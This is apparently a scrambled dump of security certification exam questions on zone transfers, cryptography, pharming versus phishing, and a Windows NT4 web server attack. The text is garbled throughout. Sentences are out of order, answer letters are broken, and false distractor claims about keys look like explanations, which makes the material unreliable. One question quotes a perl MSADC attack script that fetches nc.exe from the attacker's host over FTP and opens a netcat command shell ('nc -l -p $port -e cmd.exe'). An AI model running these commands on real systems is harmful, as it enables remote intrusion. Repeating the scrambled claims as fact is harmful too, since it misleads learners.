XFR size: 65 records (messages 65, bytes 4501)Ī. > DiG 9.7.-P1 > axfr global options: +cmdĭ. Public-key cryptography, also known as asymmetric cryptography, public key is for decrypt, private key is for encrypt. Secure Sockets Layer (SSL) use the asymmetric encryption both (public/private key pair) to deliver the shared session key and to achieve a communication way.ĭ. Symmetric-key algorithms are a class of algorithms for cryptography that use the different cryptographic keys for both encryption of plaintext and decryption of ciphertext.Ĭ. Algorithm is not the secret, key is the secret.ī. Which of the following choices is true about cryptography?Ī. +1(+1 next letter, for example, the letter ""T"" is used for ""S"" to encrypt.) Applications of cryptography include ATM cards, computer passwords, and electronic commerce.īasic example to understand how cryptography works is given below: Modern cryptography intersects the disciplines of mathematics, computer science, and electrical engineering. In a pharming attack an attacker provides the victim with a URL that is either misspelled or looks very similar to the actual websites domain nameĬryptography is the practice and study of techniques for secure communication in the presence of third parties (called adversaries.) More generally, it is about constructing and analyzing protocols that overcome the influence of adversaries and that are related to various aspects in information security such as data confidentiality, data integrity, authentication, and non-repudiation. In a phishing attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DNS.
Both pharming and phishing attacks are identical.ĭ. Both pharming and phishing attacks are purely technical and are not considered forms of social engineering.Ĭ. In a phishing attack an attacker provides the victim with a URL that is either misspelled or looks similar to the actual websites domain nameī. In a pharming attack a victim is redirected to a fake website by modifying their host configurationįile or by exploiting vulnerabilities in DNS. What is the difference between pharming and phishing attacks?Ī. In both pharming and phishing attacks an attacker can create websites that look similar to legitimate sites with the intent of collecting personal identifiable information from its victims. Which exploit is indicated by this script? System("perl -h $host -C \"nc -l -p $port -e cmd.exe\"") System("perl -h $host -C \"ftp \-s\:testfile\"") ("perl -h $host -C \"echo quit>testfile\"") System("perl -h $host -C \"echo get hacked.html>testfile\"") System("perl -h $host -C \"echo get nc.exe>testfile\"") System("perl -h $host -C \"echo bin>testfile\"")
System("perl -h $host -C \"echo $pass>testfile\"") System("perl -h $host -C \"echo $user>testfile\"") System("perl -h $host -C \"echo open $your >testfile\"") On further research, the tester come across a perl script that runs the following msadc functions: While it is effective, the tester finds it tedious to perform extended functions.

10.0.0.252 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.Ī tester has been using the attack script to execute arbitrary commands on a Windows NT4 web server.
